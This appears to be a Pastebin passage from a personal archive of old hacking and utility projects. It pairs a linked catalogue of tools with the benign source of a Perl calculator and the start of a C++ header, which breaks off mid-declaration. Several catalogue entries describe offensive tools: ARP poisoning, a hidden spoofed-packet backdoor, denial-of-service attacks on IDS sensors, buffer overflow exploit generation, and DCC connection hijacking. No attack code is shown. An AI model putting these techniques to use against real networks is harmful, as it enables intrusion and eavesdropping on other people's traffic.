API tools faq
paste
Guest User

OLD PROJECTS-CODE FROM LONG AGO

a guest
Aug 17th, 2015
1,459
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 228.43 KB | None | 0 0
raw download clone embed print report
  1. Old Projects: code from long ago
  2.  
  3.  
  4. sql++
  5. Full details at http://samy.pl/sql++/
  6. an easily configurable, feature-rich, portable command-line SQL tool (works with mysql, oracle, pgsql, mssql!, and more)
  7. posted on december 20, 2000
  8. pdump
  9. Full details at http://samy.pl/pdump/
  10. advanced packet sniffer/injector with the features of all sorts of programs from tcpdump to ngrep to dsniff
  11. posted on december 20, 2000
  12. 3.pl
  13. Full details at http://samy.pl/3.pl
  14. a calculator with userland namespace, list operations and advanced base conversion (ascii/bin/dec/hex/oct/dotted dec|hex|oct/bcd/packed bcd/etc)
  15. posted on december 20, 2000
  16. superpositions.h
  17. Full details at http://samy.pl/superpositions.h
  18. C++ header I wrote for 'quantum superpositions'. this allows a layered data type for easy arithmetic comparisons. for example, when you include the header in your programs, you can now compare an array or list of numbers or chars to something else. good examples and description is in the header file, check it out! examples:
  19. posted on december 20, 2000
  20. tracertspoof.pl
  21. Full details at http://samy.pl/tracertspoof.pl
  22. this is just a proof of concept I wanted to make which spoofs routes when someone traceroutes you. that means if someone traceroutes your host and you're running this program with any ips, the user tracerouting you will see those ips as routes before they see your ip as the last hop
  23. posted on december 20, 2000
  24. killmon.pl
  25. Full details at http://samy.pl/killmon.pl
  26. this program attempts to kill all sniffers/network monitors/IDSs on your local network or a remote host by using different denial of service attacks on passive network monitors
  27. posted on december 20, 2000
  28. arpredir.pl
  29. Full details at http://samy.pl/arpredir.pl
  30. program I wrote (still beta) that uses Packet:: to arp poisen a switch, meaning...say you're on a switch and you can't sniff/inject into anyone elses connections, you can use this to actually make all machines on the network think you are that IP, then your box forwards those packets to the real machine via eth packets (you'd have to use ip forwarding for that) enabling you to sniff them up without even setting your eth device in promiscuous mode
  31. posted on december 20, 2000
  32. screamingCobra
  33. Full details at http://samy.pl/scobra/
  34. an advanced application for automated, remote CGI vulnerability discovery of CGIs with unknown code
  35. posted on december 20, 2000
  36. frontdoor.pl
  37. Full details at http://samy.pl/frontdoor.pl
  38. old program I worked on as a simple 'replacement' of telnetd, has some nice things such as pty opening so all the good ANSI stuff can pass through the socket and some other fun stuff
  39. posted on december 20, 2000
  40. inject.pl
  41. Full details at http://samy.pl/inject.pl
  42. program that uses Tk for a GUI, allows you to inject tcp/udp/icmp packets with a nice little interface
  43. posted on december 20, 2000
  44. console-inject.pl
  45. Full details at http://samy.pl/console-inject.pl
  46. same as above but for console
  47. posted on december 20, 2000
  48. ping.pl
  49. Full details at http://samy.pl/ping.pl
  50. this program is neat since it allows you to ping a host through multiple protocols such as ICMP, tcp, etc...but it doesn't always use the actual ICMP header all the time, it will use different methods to see if a host is up for systems that block off icmp requests
  51. posted on december 20, 2000
  52. raw-ident.pl
  53. Full details at http://samy.pl/raw-ident.pl
  54. an identd daemon that controls it's connection raw, not using functions such as socket(), send()/recv(), etc. as an example 'base' for other raw daemons
  55. posted on december 20, 2000
  56. pdoor
  57. Full details at http://samy.pl/pdoor/
  58. an old 'backdoor' I made that doesn't open any ports and allows you to run programs remotely with a client that spoofs the source of the host and portscans will never find the backdoor since it only looks for certain types of packets and needs no 3way handshakes
  59. posted on december 20, 2000
  60. mp3-stream.pl
  61. Full details at http://samy.pl/mp3-stream.pl
  62. this is a program that allows you to switch between using your microphone and playing random mp3s on a live mp3 server for anyone to connect to. you can have something like a small radio show, have people listen to music then switch over to microphone and talk about music and then play some more music when everyone starts disconnecting :)
  63. posted on december 20, 2000
  64. rc4.pl
  65. Full details at http://samy.pl/rc4.pl
  66. RC4 encryption in 146 bytes of code
  67. posted on december 20, 2000
  68. passtc.pl
  69. Full details at http://samy.pl/passtc.pl
  70. 1st place winner in the toorcon password challenge. the challenge was to create an algorithm/program that generates passwords for users that are easy to remember for them but difficult to crack/brute force for others
  71. posted on december 20, 2000
  72. crypt.pl
  73. Full details at http://samy.pl/crypt.pl
  74. 2 functions to addon to programs, an encryption function and checking of a plain text password and encrypted password to see if they match
  75. posted on december 20, 2000
  76. cp5qrpff-fast.pl
  77. Full details at http://samy.pl/cp5qrpff-fast.pl
  78. my version of the original 531-byte qrpff-fast (DeCSS descrambling code). i was able to cut it down to 504-bytes using the same algorithm so no speed cuts of any sort
  79. posted on december 20, 2000
  80. cp5qrpff.pl
  81. Full details at http://samy.pl/cp5qrpff.pl
  82. my version of the original 526-byte qrpff (DeCSS descrambling code). i was able to cut it down to 500-bytes using the same algorithm so no speed cuts of any sort
  83. posted on december 20, 2000
  84. enigma.pl
  85. Full details at http://samy.pl/enigma.pl
  86. an enigma 3 rotor simulation program...takes you back, doesn't it?
  87. posted on december 20, 2000
  88. vnchown.exe
  89. Full details at http://samy.pl/vnchown.exe
  90. stand alone win32 executable for adding https support to a VNC+http server
  91. posted on december 20, 2000
  92. clear.txt
  93. Full details at http://samy.pl/clear.txt
  94. converting perl code to 'nothing' and executing it from 'nothing'
  95. posted on december 20, 2000
  96. DCCp5bot
  97. Full details at http://samy.pl/dccp5bot.pl
  98. this is an automated IRC bot from a few years back, it connects to an IRC server, joins a channel and automatically queues up specific files within DCC Fservs. has resume support and automates the downloading of files as quickly as possible from multiple sources
  99. posted on december 20, 2000
  100. mp3get.pl
  101. Full details at http://samy.pl/mp3get.pl
  102. recursively scans Apache dir structures looking for MP3s and downloads them (doesn't go below specified directory unlike other programs) Win32 binary>
  103. posted on december 20, 2000
  104. crawl5b.pl
  105. Full details at http://samy.pl/crawl5b.pl
  106. this is a program I made for Caezar's Challenge, 5B at DefCon 9. it recursively scans all pages it can find on a specified host and attempts to find CGI holes remotely and gives you an example CGI exploit for everyone it finds (see screamingCobra)
  107. posted on december 20, 2000
  108. c2p.pl
  109. Full details at http://samy.pl/c2p.pl
  110. a replacement of perl's h2ph (C header to perl header), this does stuff like convert structs to hashes, create the %SIZEOF hash for the size in bytes of actual structs, and other stuff. to be used with Packet::
  111. posted on december 20, 2000
  112. hybbot.pl
  113. Full details at http://samy.pl/hybbot.pl
  114. an IRC operator and channel service I specifically wrote for SUIDnet, an IRC network which I run a big chunk of (irc.LucidX.com:6667 or with SSL at irc.LucidX.com:9999). I do actaully spend a lot of time with this occasionally so it has evolved
  115. posted on december 20, 2000
  116. greph.pl
  117. Full details at http://samy.pl/greph.pl
  118. program that takes a list of C/C++/header files and looks through all of them for a regexp but recursively, which can be neat. say you're looking for a certain function in a program, but it's not in that program, and it's not in any of the headers that program uses, it would have to be in one of the headers of one of the headers, or could even go further or further. greph.pl will look all through these and keep on looking recursively without repeating files
  119. posted on december 20, 2000
  120. mass.pl
  121. Full details at http://samy.pl/mass.pl
  122. this allows you to run one command on multiple files when that command only allows you to run it on one file. an example is tar, say you want to tar -xvf a few different tarballs, but tar only allows you to do one at a time. with mass.pl you can easily do something like ./mass.pl 'tar -xvf *.tar'
  123. posted on december 20, 2000
  124. mkmod.pl
  125. Full details at http://samy.pl/mkmod.pl
  126. this lets you take a normal perl program and easily convert it to a module, making the easy work easier :) good to use when you're doing this with a lot of programs and want something automated
  127. posted on december 20, 2000
  128. burn.pl
  129. Full details at http://samy.pl/burn.pl
  130. program that uses Tk as a GUI to interface with mkisofs and burncd to easily burn cds
  131. posted on december 20, 2000
  132. tkscan.pl
  133. Full details at http://samy.pl/tkscan.pl
  134. old and simple port scanner I made, first time I used Tk also
  135. posted on december 20, 2000
  136. Outsmart
  137. Full details at http://samy.pl/outsmart.txt
  138. code for local Microsoft Outlook contact database security evasion (has not been successfully done before) to gain remote access to protected contact data
  139. posted on december 20, 2000
  140. cracker patcher
  141. Full details at http://samy.pl/crack/
  142. this is actually an old application that I just dug up. it's useful for easily creating small, easily distributable cracks/patches for win32 binaries
  143. posted on december 20, 2000
  144. 5balgo1.html
  145. Full details at http://samy.pl/5balgo1.html
  146. my algorithm for automatic bug/exploit discovery in CGIs for Caezar's Challenge (see screamingCobra)
  147. posted on december 20, 2000
  148. 5balgo2.html
  149. Full details at http://samy.pl/5balgo2.html
  150. algorithm for automatic bug/exploit discovery in remote software for Caezar's Challenge
  151. posted on december 20, 2000
  152. bofgen
  153. Full details at http://samy.pl/bofgen/
  154. a buffer overflow exploit generation program I recently wrote to take in certain data and create an exploit for a buffer overflow of a local program. has some neat features. check it out
  155. posted on december 20, 2000
  156. 5bhack
  157. Full details at http://samy.pl/5bhack/
  158. code for the algorithm on bug/exploit discovery in remote software for Caezar's Challenge
  159. posted on december 20, 2000
  160. testenvs.pl
  161. Full details at http://samy.pl/testenvs.pl
  162. this will take a binary program, find all of the environment variables, and fill them up with data to attempt to overflow it. it's good with use of `find / -perm -4000`. it will easily help you find some exploitable (through ENV variables) programs and it will also attempt to exploit the program with a basic arguement buffer overflow
  163. posted on december 20, 2000
  164. getenvs.pl
  165. Full details at http://samy.pl/getenvs.pl
  166. this is a nice version of v9's getenv program. this retrieves environment variables from a binary program when you don't have the source to it. this can be helpful with finding buffer overflows, especially :)
  167. posted on december 20, 2000
  168. infobot advisory
  169. Full details at http://samy.pl/infobot.html
  170. an old advisory concerning infobot, an IRC automated chat bot
  171. posted on december 20, 2000
  172. pijack
  173. Full details at http://samy.pl/pijack/
  174. very old and ugly program I wrote when I started getting into sockets, it takes over IRC DCC connections before they get fully established
  175.  
  176. pdump - a raw packet sniffer and injector
  177.  
  178.  
  179. Welcome to http://pdump.org (or a mirror)! You can find information here reguarding pdump, downloads, and more. pdump is a raw packet sniffer and injector, written by Samy Kamkar. It has the features of many other programs such as tcpdump, dsniff, and ngrep. Check the manual page for more information!
  180. ________________________________________
  181.  
  182.  
  183. News - December 26th, 2000
  184.  
  185.  
  186. Finally released pdump 0.8! Added almost 600 new fingerprints for the -x option, much better password sniffing library along with new password sniffing plugs for the web, fixed a few bugs, added new protocol sniffing, added advancements to other protocols, and added new methods for decoding packets. Hopefully I'll get a mailing list up soon, too.
  187. ________________________________________
  188.  
  189.  
  190. pdump's Manual
  191.  
  192.  
  193.  
  194. A manual page (in HTML format) on how to use pdump, what it does, all of it's options, and other information on pdump and packets. Also includes examples and other helpful information.
  195.  
  196.  
  197. Download pdump
  198.  
  199.  
  200.  
  201. You can get all the downloads from here such as the stable version, development version, and even specific files out of a certain version.
  202.  
  203.  
  204. Changes
  205.  
  206.  
  207.  
  208. You can see all the changes made with all of the versions of pdump here, including changes in the development version!
  209.  
  210.  
  211. Development Directory
  212.  
  213.  
  214.  
  215. You can connect to the development directory of pdump to see what's new and even get files from the development version to add on to your version.
  216.  
  217.  
  218.  
  219.  
  220. pdump, by Samy Kamkar [CommPort5@LucidX.com]
  221. http://www.samy.pl/pdump/
  222.  
  223. #!/usr/bin/perl
  224.  
  225. my $debug = 0;
  226. my $VERSION = "0.42";
  227. #
  228. # '3', by Samy Kamkar [cp5@LucidX.com]
  229. # ver 0.42 - April 14, 2002 -
  230. # TODO/changeLog is at http://code.lucidx.com/TODO.3
  231. #
  232. # thanks to cseg (Fred Souza) for his help
  233. # and his own original idea which i borrowed:
  234. # http://cseg.lucidx.com/projects/
  235. #
  236. # examples:
  237. # > x = 3 ; y = (1 .. 3) ; z = (int(reverse(bd(110011))/10))
  238. # > (z .. x) ** $_, [ y ]
  239. # = [[1], [2], [3]], [[1], [4], [9]], [[1], [8], [27]]
  240. #
  241. # > x = 3
  242. # > y = 1..3
  243. # > x
  244. # = 3
  245. # > y
  246. # = [1], [2], [3]
  247. # > (1 .. x) ** $_, [ y ]
  248. # = [[1], [2], [3]], [[1], [4], [9]], [[1], [8], [27]]
  249. #
  250. # > ((bd(1010)-5)
  251. # ]> *3 - reverse(
  252. # ]]> 51)
  253. # ]> ^ 1)
  254. # = 1
  255. #
  256. # shell$ 3 bd 10011
  257. # 19
  258. # shell$ 3 Dd 127.0.0.1
  259. # 2130706433
  260. # shell$ 3 aX abc
  261. # \x61 \x62 \x63
  262. #
  263. # ooo - () ** * / % + - . << >> & | ^
  264. #
  265.  
  266. my $baseconv = shift(@ARGV);
  267. my @values = @ARGV;
  268. my %namespace;
  269.  
  270. my %conv = (
  271. "b" => "bin", # binary
  272. "d" => "dec", # decimal
  273. "o" => "oct", # octal
  274. "h" => "hex", # hexadecimal
  275. "a" => "asc", # ascii
  276. "B" => "bcd", # BCD
  277. "P" => "pbc", # packed BCD
  278. "D" => "dot", # dotted-quad (decimal)
  279. "O" => "dto", # dotted-octal
  280. "H" => "dth", # dotted-hexadecimal
  281. "X" => "bbh", # byte-by-byte hexadecimal
  282. "Y" => "bbd", # byte-by-byte decimal
  283. "Z" => "bbo", # byte-by-byte octal
  284. );
  285. my $convs = join("", keys(%conv));
  286.  
  287. unless ($baseconv || $baseconv =~ /^calc/i) {
  288. my $alive = 1;
  289. my ($parens, $data) = (0, "");
  290. print ": Type `help` for help.\n\n";
  291. while ($alive) {
  292. print "]" x $parens;
  293. print "[" x ($parens * -1);
  294. print "> ";
  295.  
  296. chomp($data .= <STDIN>);
  297. $parens = ($data =~ tr|(||) - ($data =~ tr|)||);
  298. if ($data =~ /^\s*(?:help|\?)\s*$/mi) {
  299. &help();
  300. $data = "";
  301. }
  302. elsif ($data =~ /^\s*(?:die|quit|exit)\s*$/mi) {
  303. $alive = 0; # die later in case we have unfinished business
  304. }
  305. elsif ($parens != 0) {
  306. next;
  307. }
  308.  
  309. else {
  310. foreach (split(/;/, $data)) {
  311. my @data = &operate($_);
  312. if ($#data > 0) {
  313. print "= [", join("], [", @data), "]\n";
  314. }
  315. elsif ($#data != -1) {
  316. print "= $data[0]\n";
  317. }
  318. }
  319. $data = "";
  320. $parens = 0;
  321. }
  322. }
  323. die "\n3 -- by Samy Kamkar [cp5\@LucidX.com]\n";
  324. }
  325.  
  326. $baseconv =~ /^(.)(.)$/;
  327. my ($first, $second) = ($conv{$1} . "2bin", "bin2" . $conv{$2});
  328.  
  329. foreach my $value (@values) {
  330. print &{$second}(&{$first}($value)) . "\n";
  331. }
  332. exit 0;
  333.  
  334. sub operate {
  335. my ($string) = @_;
  336. my (%intns, $ops, @ops, @return);
  337. my $origstr = $string;
  338. $string =~ s/\s*//g;
  339. $string =~ s/,\[([^\]]+)\]$//;
  340. $string = "($string)";
  341. if ($ops = $1) {
  342. while ($ops =~ /\@?\$?([a-zA-Z_]\w+|[a-zA-Z])\[([^\]]+)\]/) {
  343. my ($tmp1, $tmp2) = ($1, $2);
  344. $tmp2 =~ s/([^,]+)\.\.([^,]+)/join(",", $1..$2)/ge;
  345. $ops =~ s/\@?\$?(?:[a-zA-Z_]\w+|[a-zA-Z])\[[^\]]+\]/join(",", @{$namespace{$tmp1}}[split(\/,\/, $tmp2)])/e;
  346. }
  347. $ops =~ s/\@?\$?([a-zA-Z_]\w+|[a-zA-Z])/join(",", @{$namespace{$1}})/eg;
  348. $ops =~ s/([^,]+)\.\.([^,]+)/join(",", $1..$2)/ge;
  349. @ops = split(/,/, $ops);
  350. }
  351. push(@ops, 0) unless @ops;
  352. foreach my $op (@ops) {
  353. my $nstr = my $str = $string;
  354. $namespace{"_"} = $op;
  355. my (@ret, @iops);
  356. while ($str =~ /\@?\$?([a-zA-Z_]\w*|\d+|\d*\.\d+)\.\.\@?\$?([a-zA-Z_]\w*|\d+|\d*\.\d+)/g) {
  357. my ($tmp1, $tmp2) = ($1, $2);
  358. $tmp1 = $namespace{$tmp1} if $tmp1 =~ /^[a-zA-Z_]/;
  359. $tmp2 = $namespace{$tmp2} if $tmp2 =~ /^[a-zA-Z_]/;
  360. $str =~ s/\@?\$?(?:[a-zA-Z_]\w*|\d+|\d*\.\d+)\.\.\@?\$?(?:[a-zA-Z_]\w*|\d+|\d*\.\d+)/\$__/;
  361. push(@iops, $tmp1 .. $tmp2);
  362. $nstr = $str;
  363. }
  364. while ($str =~ /\@?\$?([a-zA-Z_]\w*|\d+|\d*\.\d+),\@?\$?([a-zA-Z_]\w*|\d+|\d*\.\d+)/g) {
  365. my ($tmp1, $tmp2) = ($1, $2);
  366. $tmp1 = $namespace{$tmp1} if $tmp1 =~ /^[a-zA-Z_]/;
  367. $tmp2 = $namespace{$tmp2} if $tmp2 =~ /^[a-zA-Z_]/;
  368. $str =~ s/\@?\$?(?:[a-zA-Z_]\w*|\d+|\d*\.\d+),\@?\$?(?:[a-zA-Z_]\w*|\d+|\d*\.\d+)/\$__/;
  369. push(@iops, $tmp1, $tmp2);
  370. $nstr = $str;
  371. }
  372.  
  373. # pretend parse tree starts here
  374. my (@nvals, $type);
  375. while ($str) {
  376. my ($ins, $dins);
  377. if ($str =~ s/^([a-zA-Z][a-zA-Z0-9]*)\(//) {
  378. if (length($1) == 2 || $1 eq "factorial") {
  379. $type = "VFunc";
  380. }
  381. else {
  382. $type = "Func";
  383. }
  384. }
  385. elsif ($str =~ s/^\$?\@?([a-zA-Z]\w*)([^\.=])/$2/) {
  386. my $tmp = $1;
  387. if (ref($namespace{$tmp}) eq "ARRAY") {
  388. push(@iops, @{$namespace{$tmp}});
  389. $type = "Var";
  390. $ins = "__";
  391. }
  392. else {
  393. $str = $namespace{$tmp} . $str;
  394. $dins = 1;
  395. $type = "Num";
  396. }
  397. }
  398. elsif ($str =~ s/^\$?\@?([_a-zA-Z]\w*)//) {
  399. $type = "Var";
  400. }
  401. elsif ($str =~ s/^((?:0*(?:2(?:[0-4]\d|5[0-5])|1?\d{1,2})\.){3}(?:2(?:[0-4]\d|5[0-5])|1?\d{1,2}))//x) {
  402. $type = "IP";
  403. }
  404. elsif ($str =~ s/^(\d*\.\d+|\d+)//) {
  405. $type = "Num";
  406. }
  407. elsif ($str =~ s/^([^\w()\@\$,\.\:"'=]+)//) {
  408. $type = "OpChr";
  409. }
  410. elsif ($str =~ s/^([(),])//) {
  411. $type = "Chr";
  412. }
  413. elsif ($str =~ s/^(\.=)//) {
  414. $type = "Append";
  415. }
  416. elsif ($str =~ s/^(=)//) {
  417. $type = "Assign";
  418. }
  419. elsif ($str =~ s/^("[^"]*")// || $str =~ s/^('[^']*')//) {
  420. $type = "Str";
  421. }
  422. else {
  423. return "error: bad input near: " . substr($str, 0, 5);
  424. }
  425. unless ($dins) {
  426. if ($ins) {
  427. push (@nvals, [$ins, $type]);
  428. }
  429. else {
  430. push (@nvals, [$1, $type]);
  431. }
  432. }
  433. }
  434. push(@iops, 0) unless @iops;
  435. # end of pretend parse tree
  436.  
  437. foreach my $iop (@iops) {
  438. my @vals = map [@$_], @nvals;
  439. $namespace{'__'} = $iop;
  440. for (my $i = $#vals; $i >= 0; $i--) {
  441. my ($elem, $type) = @{$vals[$i]};
  442. print "$elem\t-> $type\n" if $debug;
  443.  
  444. if ($type eq "Assign") {
  445. push(@{$namespace{"_assign"}}, "$vals[$i-1][0]") unless grep { '^$vals[$i-1][0]$' } @{$namespace{"_assign"}};
  446. @{$vals[$i]} = ("", "Empty");
  447. @{$vals[$i-1]} = ("", "Empty");
  448. }
  449.  
  450. if ($type eq "Append") {
  451. push(@{$namespace{"_append"}}, "$vals[$i-1][0]") unless grep { '^$vals[$i-1][0]$' } @{$namespace{"_append"}};
  452. @{$vals[$i]} = ("", "Empty");
  453. @{$vals[$i-1]} = ("", "Empty");
  454. }
  455.  
  456. if ($type eq "Var") {
  457. if (ref($namespace{$vals[$i][0]}) eq "ARRAY") {
  458. @{$vals[$i]} = push(@ret, @{$namespace{$vals[$i][0]}});
  459. }
  460. else {
  461. @{$vals[$i]} = ($namespace{$vals[$i][0]}, "Num");
  462. }
  463. }
  464. if ($elem eq "(" || $type eq "Func" || $type eq "VFunc") {
  465. my ($string, $func);
  466. my $tmp1 = $i;
  467. my $tmp2 = 0;
  468. do {
  469. if ($tmp2++ == 0) {
  470. $func = $vals[$tmp1][0];
  471. }
  472. else {
  473. $string .= $vals[$tmp1][0] if $vals[$tmp1][0];
  474. }
  475. } while ($vals[$tmp1++][0] ne ")");
  476. $tmp1--;
  477. @{$vals[$tmp1]} = ("", "Empty");
  478. chop($string);
  479. for ($i .. $tmp1) {
  480. @{$vals[$_]} = ("", "Empty");
  481. }
  482. $vals[$i][0] = eval($string);
  483. if ($type eq "VFunc") {
  484. if ($func =~ /^([a-z])([a-z])$/i) {
  485. $vals[$i][0] = &{'bin2' . $conv{$2}}(&{$conv{$1} . '2bin'}("$vals[$i][0]"));
  486. }
  487. elsif ($func eq "factorial") {
  488. my $tmp = 1;
  489. foreach (1 .. $vals[$i][0]) {
  490. $tmp *= $_;
  491. }
  492. $vals[$i][0] = $tmp;
  493. }
  494. }
  495. elsif ($type eq "Func") {
  496. $vals[$i][0] = eval("$func(\"$vals[$i][0]\")");
  497. }
  498. }
  499. }
  500. push(@ret, eval(join("", map { $$_[0] } @vals)));
  501. }
  502. push(@return, ("[" . join("], [", @ret) . "]"));
  503. }
  504. my $commas = 0;
  505. foreach (@return) {
  506. $commas += tr/,//;
  507. }
  508. unless ($commas) {
  509. foreach (@return) {
  510. s/^.//;
  511. s/.$//;
  512. }
  513. }
  514. if ($#{$namespace{"_assign"}} >= 0) {
  515. foreach my $asn (@{$namespace{"_assign"}}) {
  516. @{$namespace{$asn}} = ();
  517. my @tmp = @return;
  518. @return = ();
  519. foreach (@tmp) {
  520. s/^\[//;
  521. s/\]$//;
  522. if (@tmp > 1) {
  523. push(@{$namespace{$asn}}, split(/\], \[/));
  524. }
  525. elsif (/,/) {
  526. push(@{$namespace{$asn}}, split(/\], \[/));
  527. }
  528. else {
  529. $namespace{$asn} = $_;
  530. }
  531. }
  532. }
  533. @{$namespace{"_assign"}} = ();
  534. return ();
  535. }
  536.  
  537. if ($#{$namespace{"_append"}} >= 0) {
  538. foreach my $asn (@{$namespace{"_append"}}) {
  539. my @tmp = @return;
  540. @return = ();
  541. foreach (@tmp) {
  542. s/^\[//;
  543. s/\]$//;
  544. push(@{$namespace{$asn}}, split(/\], \[/));
  545. }
  546. }
  547. @{$namespace{"_append"}} = ();
  548. return ();
  549. }
  550.  
  551. else {
  552. return @return;
  553. }
  554. }
  555.  
  556. sub bin2bin {
  557. my $val = shift;
  558. $val =~ s/^0*//;
  559. return $val;
  560. }
  561.  
  562. sub bcd2bin {
  563. my $val = shift;
  564. $val =~ s/0000([01]{4})/&dec2bin(&bin2dec($1))/eg;
  565. $val =~ s/^0*//;
  566. return $val;
  567. }
  568.  
  569. sub pbc2bin {
  570. my $val = shift;
  571. $val =~ s/([01]{4})/&bin2dec($1)/eg;
  572. $val = &dec2bin($val);
  573. $val =~ s/^0*//;
  574. return $val;
  575. }
  576.  
  577. sub dec2bin {
  578. my $val = unpack("B*", pack("N", shift));
  579. $val =~ s/^0*//;
  580. return $val;
  581. }
  582.  
  583. sub asc2bin {
  584. my $val = unpack("B*", shift);
  585. # $val =~ s/^0*//;
  586. return $val;
  587. }
  588.  
  589. sub hex2bin {
  590. my $val = shift;
  591. my @vals;
  592. push(@vals, hex($1)) while $val =~ s/(?:0x|\\x)?([A-F0-9]{1,2})//i;
  593. $val = join("", unpack("B*", pack("C*", @vals)));
  594. $val =~ s/^0*//;
  595. return $val;
  596. }
  597.  
  598. sub bbh2bin {
  599. my $val = &hex2bin(shift);
  600. $val =~ s/^0*//;
  601. return $val;
  602. }
  603.  
  604. sub bbo2bin {
  605. my $val = &oct2bin(shift);
  606. $val =~ s/^0*//;
  607. return $val;
  608. }
  609.  
  610. sub bbd2bin {
  611. my $val = &dec2bin(shift);
  612. $val =~ s/^0*//;
  613. return $val;
  614. }
  615.  
  616. sub oct2bin {
  617. my $val = shift;
  618. $val =~ s/^0// if length($val) > 1;
  619. $val = unpack("B*", pack("C*", oct($val)));
  620. $val =~ s/^0*//;
  621. return $val;
  622. }
  623.  
  624. sub dot2bin {
  625. my $val = unpack("B36", pack("C4", split(/\./, shift)));
  626. $val =~ s/^0*//;
  627. return $val;
  628. }
  629.  
  630. sub dto2bin {
  631. my $val = shift;
  632. $val =~ s/^0?(\d+)\.0?(\d+)\.0?(\d+)\.0?(\d+)$/&dot2bin("0$1.0$2.0$3.0$4")/e;
  633. $val =~ s/^0*//;
  634. return $val;
  635. }
  636.  
  637. sub dth2bin {
  638. my $val = shift;
  639. $val =~ s/^(?:\\x|0x)?(\d+)\.(?:\\x|0x)?(\d+)\.(?:\\x|0x)?(\d+)\.(?:\\x|0x)?(\d+)$/&dot2bin("0x$1.0x$2.0x$3.0x$4")/e;
  640. $val =~ s/^0*//;
  641. return $val;
  642. }
  643.  
  644.  
  645. sub bin2dec {
  646. my $val = shift;
  647. my ($result, $place) = (0, 0);
  648. while ($val =~ s/(.)$//) {
  649. $result += 2 ** $place++ * $1;
  650. }
  651. return $result;
  652. }
  653.  
  654. sub bin2oct {
  655. return sprintf("0%o", &bin2dec(shift));
  656. }
  657.  
  658. sub bin2hex {
  659. return sprintf("0x%x", &bin2dec(shift));
  660. }
  661.  
  662. sub bin2bbh {
  663. return sprintf("\\x%x" x (length(&eight($_[0]))/8), unpack("C*", pack("B*", &eight(shift))));
  664. }
  665.  
  666. sub bin2bbo {
  667. return sprintf("0%o " x (length(&eight($_[0]))/8), unpack("C*", pack("B*", &eight(shift))));
  668. }
  669.  
  670. sub bin2bbd {
  671. return join(" ", unpack("C*", pack("B*", &eight(shift))));
  672. }
  673.  
  674. sub bin2asc {
  675. return pack("B*", &eight(shift));
  676. }
  677.  
  678. sub bin2dot {
  679. return join(".", unpack("C4", pack("B*", &eight(shift))));
  680. }
  681.  
  682. sub bin2dto {
  683. return sprintf("0%o.0%o.0%o.0%o", unpack("C4", pack("B*", &eight(shift))));
  684. }
  685.  
  686. sub bin2bcd {
  687. my $val = &bin2dec(shift);
  688. $val =~ s/(.)/"0000" . sprintf("%04i", &dec2bin($1))/eg;
  689. return $val;
  690. }
  691.  
  692. sub bin2pbc {
  693. my $val = &bin2dec(shift);
  694. $val =~ s/(.)/sprintf("%04i", &dec2bin($1))/eg;
  695. return $val;
  696. }
  697.  
  698. sub bin2dth {
  699. return sprintf("0x%x.0x%x.0x%x.0x%x", unpack("C4", pack("B*", &eight(shift))));
  700. }
  701.  
  702. sub eight {
  703. my $val = shift;
  704. $val = "0" . $val while (length($val) % 8);
  705. return $val;
  706. }
  707.  
  708. sub help {
  709. print
  710. "
  711. 3 -- by Samy Kamkar [cp5\@LucidX.com]
  712.  
  713. see $0's code for examples
  714.  
  715. BASES:
  716. b => binary, a => ASCII,
  717. d => decimal, D => dotted quad,
  718. o => octal, O => dotted octal,
  719. h => hexadecimal, H => dotted hexadecimal,
  720. B => BCD, P => packed BCD,
  721. X => byte-by-byte hexadecimal,
  722. Y => byte-by-byte decimal,
  723. Z => byte-by-byte octal,
  724.  
  725. CORE FUNCTIONS: exit, help
  726.  
  727. FUNCTIONS: base1base2(value), e.g.: dh(5), Dd(\"127.0.0.1\"), ah(\"abc\")
  728. also: sin(), reverse(), abs(), atan2(), cos(), exp(), int(),
  729. sqrt(), log(), factorial()
  730.  
  731. OPERATORS: + - * / % ** ^ | & << >> ( )
  732. using a '(' at the beginning and leaving it open
  733. after hitting 'Enter' will allow you to neatly
  734. continue the equation on a new line(s) and you
  735. would end the equation and get the result after
  736. closing it with a )
  737.  
  738. ";
  739. #OTHER HELP TOPICS: namespace, commandline
  740. #
  741. #for more help on something, enter: help 'base/func/topic'
  742. #e.g., help b (for help on binary),
  743. # help log (for help on log()),
  744. # help delete (for help on delete()),
  745. # help namespace (for help on the namespace topic),
  746. # help operators (for all operators), etc.
  747. }
  748.  
  749.  
  750. /*
  751. * superpositions.h - nov. 3rd, 2001
  752. * -samy
  753. *
  754. * This allows you to use the implemented any()
  755. * and all() functions with doubles, ints or chars
  756. * to allow you to compare the superposition
  757. * (simultaneous/layered data, for example, an array)
  758. * with other superpositions or data using arithmetic
  759. * comparison operators.
  760. *
  761. * OPERATORS:
  762. * ==, !=, >=, <=, >, <
  763. * FUNCTIONS
  764. * any(char_array);
  765. * any(int num_of_elems, double_array);
  766. * any(int num_of_elems, int_array);
  767. * any(int num_of_elems, ...);
  768. * // ... accepts chars, doubles and ints
  769. * // all() functions are the same as the any()s
  770. *
  771. *
  772. * examples:
  773. * if (any(num_of_elems, 4, 5, 6) == 5) // num_of_elems should be 3
  774. * // this is true because 5 is one of the elements
  775. *
  776. *
  777. * if (all(char_array) != all(3, 'a', 'b', 'c'))
  778. * // this is true if there are no 'a's,
  779. * // 'b's, or 'c's in char_array
  780. *
  781. *
  782. * int num_of_elems = 2; // passing 2 elements
  783. * double y[3] = {6.0, 7.0, 8.0};
  784. * if (any(num_of_elems, 5, 6) == any(3, y))
  785. * // true since the 6's are passed in both functions
  786. *
  787. * etc...
  788. */
  789.  
  790. #ifndef QUANTUM_H_
  791. #define QUANTUM_H_
  792.  
  793. #include <stdarg.h>
  794. #include <vector>
  795. #include <iostream.h>
  796.  
  797. using namespace std;
  798.  
  799. class Quantum
  800. {
  801. public:
  802. Quantum();
  803.  
  804. vector<double> data;
  805. bool type; // true == any, false == all
  806.  
  807. bool operator==(double);
  808. bool operator!=(double);
  809. bool operator< (double);
  810. bool operator> (double);
  811. bool operator<=(double);
  812. bool operator>=(double);
  813.  
  814. bool operator==(Quantum);
  815. bool operator!=(Quantum);
  816. bool operator< (Quantum);
  817. bool operator> (Quantum);
  818. bool operator<=(Quantum);
  819. bool operator>=(Quantum);
  820. };
  821.  
  822. Quantum::Quantum()
  823. {
  824. type = true;
  825. }
  826.  
  827. Quantum any(char array[]);
  828. Quantum any(int numArgs, double array[]);
  829. Quantum any(int numArgs, int array[]);
  830. Quantum any(int numArgs, double first, ...);
  831. Quantum any(int numArgs, int first, ...);
  832. Quantum any(int numArgs, char first, ...);
  833.  
  834. Quantum all(char array[]);
  835. Quantum all(int numArgs, double array[]);
